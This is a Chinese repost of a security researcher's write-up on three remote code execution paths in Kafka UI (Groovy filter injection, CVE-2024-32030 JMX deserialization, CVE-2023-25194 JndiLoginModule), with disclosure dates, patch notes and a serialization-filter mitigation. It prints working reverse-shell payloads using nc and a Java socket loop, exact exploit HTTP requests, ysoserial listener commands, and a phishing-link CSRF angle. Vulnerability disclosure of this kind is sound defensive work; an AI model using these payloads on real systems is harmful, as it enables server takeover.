public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
switch (type) {
case STRING_CONTAINS:
return containsStringFilter(query);
case GROOVY_SCRIPT:
return groovyScriptFilter(query);
default:
throw new IllegalStateException("Unknown query type: " + type);
}
}
要测试它,请通过 UI 导航到其中一个集群,然后选择其中一个主题并单击“消息”选项卡。然后,创建一个包含以下内容的新过滤器:
new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()
此 Groovy 脚本将生成一个带有反向 shell 的新进程到您的地址。当我们通过 UI 执行此操作时,浏览器会向服务器发送以下请求:
GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
Host: 127.0.0.1:8091
您可以在 HTTP 客户端(如 Burp Suite Repeater)中重新发出并试验此请求。
默认的 Kafka Docker 镜像已经安装了 Netcat,但如果它不起作用,你也可以使用更复杂的反向 shell Groovy 脚本,例如:
String host="localhost";
int port=1445;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) so.write(pi.read());
while(pe.available()>0) so.write(pe.read());
while(si.available()>0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();
break;
}
catch (Exception e){}
};
p.destroy();
s.close();
请注意,要使此漏洞利用成功,连接的 Kafka 集群(示例中为“本地”)应至少启用一个主题,其中包含一些消息。如果没有,攻击者可以利用 Kafka UI 的 API 来创建它们:
POST /api/clusters/local/topics HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 92
Content-Type: application/json
{"name":"topic","partitions":1,"configs":{"cleanup.policy":"delete","retention.bytes":"-1"}}
POST /api/clusters/local/topics/topic/messages HTTP/1.1
Host: 127.0.0.1:8091
Content-Length: 85
Content-Type: application/json
{"partition":0,"key":"123","content":"123","keySerde":"String","valueSerde":"String"}
值得注意的是,即使 Kafka 受到身份验证保护,并且至少有一个包含消息的主题,RCE 也可以通过简单的 GET HTTP 请求触发。因此,它也可以通过发送钓鱼链接并从管理员的浏览器中打开它来利用 CSRF 式攻击。
我于 2023 年 11 月 28 日向 Kafka UI 的维护人员报告了此漏洞,并于 2024 年 4 月 10 日在0.7.2 版本中修复了该漏洞。后来,我们发现另一位研究人员也报告了同样的漏洞,他在修复发布之前就已经发布了漏洞利用程序,导致许多 Kafka UI 实例处于未受保护的状态。
CVE-2024-32030:通过 JMX 连接器进行 RCE
Kafka UI 暴露的另一个攻击面是能够连接到任何 Kafka 集群。通常,Kafka UI 从本地 application.yml 文件获取集群配置,但如果dynamic.config.enabled启用该设置,也可以通过 API 重新配置 Kafka UI。此属性默认情况下未启用,但建议在许多 Kafka UI 教程中启用它,包括其自己的README.md。
我尝试研究了一下 Kafka 协议,这是一种专有的二进制协议。我的想法是设置一个恶意的 Kafka 代理并将 Kafka UI 连接到它,从而触发一些有趣的事情。在测试此功能时,我注意到 Kafka UI 还提供了监控 Kafka 代理性能的功能。为此,Kafka UI 的后端连接到它们的 JMX 端口。从安全角度来看,此功能特别有趣,因为 JMX 是一种基于 RMI 的复杂协议,因此它本质上容易受到反序列化攻击。
具体来说,我发现我可以通过 UI 添加新的 Kafka 集群,让 Kafka UI 后端连接到任意 JMX 服务器。要测试它,请导航到仪表板并单击“配置新集群”。然后,设置以下参数:
当你点击“提交”按钮时,浏览器会以 JSON 格式发送新的配置:
PUT /api/config HTTP/1.1
Host: localhost:8091
Content-Length: 194
Content-Type: application/json
Connection: close
{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka:9092","properties":{},"readOnly":false},
{"name":"jmx-exploit1","bootstrapServers":"host.docker.internal:9093","metrics":{"type":"JMX","port":1718},"properties":{},"readOnly":false}]}}}}
当 Kafka UI 处理此请求时,它首先尝试从“bootstrapServers”值连接到 Kafka 集群引导服务器。如果连接成功,引导服务器将返回 Kafka 代理(节点)列表。这通常是KAFKA_ADVERTISED_LISTENERSKafka 属性中指定的值。
然后,Kafka UI尝试使用以下 JMX 地址连接到其中一个代理:
jmx:rmi:///jndi/rmi://:/jmxrmi
这可能会引发“著名的” JNDI 攻击,类似于我们在 Log4j 和许多其他 Java 产品中看到的攻击。
要通过 JNDI 向量实现 RCE,我们不能使用通过“classFactoryLocation”的“经典”攻击方法,因为它在现代 JDK 中已被修补。另一种利用对象工厂的方法也不适用于 Kafka UI,因为它不包含所需的类。尽管如此,截至 2024 年 5 月,即使在最新的 JDK 中,我们仍然可以执行反序列化攻击。因此,攻击者无需设置合法的 JMX 端口,而是可以创建一个 RMI 侦听器,为任何 RMI 调用返回恶意序列化对象。
这次攻击的唯一注意事项是找到合适的小工具链。ysoserial 工具中的所有公共小工具链对我来说都不起作用,因为 Kafka UI 有最新版本的 Commons Collections 和类似的库。在寻找合适的小工具链时,我偶然发现了一份有趣的HackerOne 报告,该报告利用了 Kafka connect 中的类似漏洞。报告者使用了一个基于 Scala 库的不同寻常的小工具链,结果发现这正是我需要的。我很快将该链移植到我的 ysoserial fork中,以创建概念验证漏洞。我将在下面解释如何使用该漏洞,但如果您对内部发生的事情感到好奇,也可以随时查看小工具链生成代码。这个小工具链和漏洞细节本质上非常复杂。
复制步骤
为了演示恶意代理和 JMX 侦听器,我创建了一个特殊的docker compose.yml 文件。它的服务kafka-malicious-broker和ysoserial-stage1都是ysoserial-stage2我专门为利用此 CVE 而设计的。您需要对此文件进行的唯一修改是将恶意 Kafka 代理和 JMX 端点上的广告地址从“host.internal.docker”更改为您自己的主机,该主机可从目标 Kafka UI 实例访问。
因此,要重现此问题,您需要使用 Kafka UI 连接到恶意代理引导地址host.internal.docker:9093(如我上面所述),并将 JMX 端口选项设置为 1718。然后,Kafka 将连接到host.internal.docker:1718应转发到ysoserial-stage1docker 容器的 JMX 端口。
该容器使用以下命令生成的 Scala1 有效负载进行响应:
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
此有效载荷将在 Kafka UI 端反序列化。它不会直接触发 RCE,但会导致将系统属性设置org.apache.commons.collections.enableUnsafeSerialization为true。您可能会注意到 Kafka UI 日志中存在一些错误,这是预期的:
然后,我们需要将PUT /api/config请求重新发送到 Kafka UI,但将 JMX 端口更改为 1719,该端口将转发到容器ysoserial-stage2。此容器返回以下 ysoserial 有效负载:
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc host.docker.internal 1234 -e sh"
只要之前已由 Scala 有效负载启用,它就会导致在 Kafka UI Java 进程中org.apache.commons.collections.enableUnsafeSerialization执行命令。这最终将产生一个连接到TCP 端口的反向 shell。nc host.docker.internal 1234 -e shhost.docker.container:1234
如果你对反序列化触发和命令执行的方式感到好奇System.setProperty,可以查看相应小工具链的源代码:Scala1.java和CommonsCollections7.java
另外,您可以在StreamRemoteCall.java#L271设置断点来查看对象是如何反序列化的
修补
与之前的问题类似,开发人员花了近六个月的时间在 Kafka UI 0.7.2 版本中实施修复。他们仅通过将 Apache Commons Collections 库更新到较新版本来修复该问题。虽然它可以阻止我上面分享的小工具链的第二阶段,但不受信任的数据的反序列化仍然可能发生。
由于反序列化发生在 RMI 调用期间,因此实际调用 ObjectInputStream.readObject() 的代码位于 JDK 中,而不是 Kafka UI 代码库中。我们建议补救风险的另一种方法是仅允许反序列化某些类。JEP -290提供了使用该jdk.serialFilter属性为可以安全反序列化的类定义进程范围的允许列表的功能。
例如,我们可以使用以下过滤器来防止许多库类的反序列化:
-Djdk.serialFilter="java.lang.*;java.math.*;java.util.**;javax.management.**;java.rmi.**;javax.security.auth.Subject;!*"
该过滤器仍然允许 JMX 正常运行,但这只是一个需要彻底测试的建议。
CVE-2023-25194:通过 JndiLoginModule 进行 RCE
在我成功通过 JMX 漏洞实现 RCE 之后,我意识到我在HackerOne 报告中看到的 Kafka Connect 漏洞也可以在 Kafka UI 中利用。
Kafka UI 有一个特殊的端点,允许使用自定义属性测试与 Kafka 集群的连接。可以通过发送以下请求来调用它:
PUT /api/config/validated HTTP/1.1
Host: localhost:8091
Content-Length: 409
Content-Type: application/json
{"properties":{"kafka":{"clusters":[{"name":"test","bootstrapServers":"host.docker.internal:9093","properties":{"security.protocol":"SASL_PLAINTEXT","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url="rmi://host.docker.internal:1718/x" useFirstPass="true" serviceName="x" debug="true" group.provider.url="x";","sasl.mechanism":"x"},"readOnly":false}]}}}
在这里,我们可以设置一些特殊的集群属性,例如"security.protocol":"SASL_PLAINTEXT"和"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule。此问题的利用类似于 JMX 漏洞(CVE-2024-32030);我们可以重复使用相同的小工具链和 docker 容器。在这种情况下,我们甚至不需要在 处启动恶意 Kafka 实例host.docker.internal:9093,因为 JNDI 调用在此之前发生。
dynamic.config.enabled再次强调,只有当属性设置为时,Kafka UI 才容易受到此 CVE 的攻击true。否则,我们根本无法更改集群属性,因此我们的攻击就无法奏效。
幸运的是,Kafka UI 0.7.2 版本还带来了 Kafka Connect 的更新依赖项。这通过完全禁止使用 解决了该问题JndiLoginModule。
测试设置
如果您想在本地测试所有这些漏洞,这里有我专门为测试和调试 Kafka UI 创建的compose.yml 脚本docker compose up。只需使用此脚本和命令,您就可以为 Kafka UI、Kafka 代理和 Apache Zookeeper 生成 docker 容器。启动后,Kafka UI 可在http://localhost:8091/上使用。这还会生成一个恶意的 Kafka 代理和几个ysoserial实例,我用它来演示概念验证漏洞。
最后的想法
Kafka UI 是一款现代应用程序,它使用强大的 Java 功能来监控 Kafka 集群,例如 Groovy 脚本、JMX 和 SASL JAAS。当暴露给用户输入时,应仔细限制这些功能以防止潜在的滥用。这些技术并非 Kafka UI 独有,而是由 Java 开发工具包提供的,并用于许多其他项目。在过去几年中,JDK 开发人员对 JMX 和 JNDI 漏洞利用进行了大量强化,修补了一些攻击媒介。然而,正如我们所见,即使在最新的 JDK 版本中,它们在某些情况下仍然可以被利用。
原文始发于微信公众号(Ots安全):在 Kafka UI 中获取远程代码执行的 3 种方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论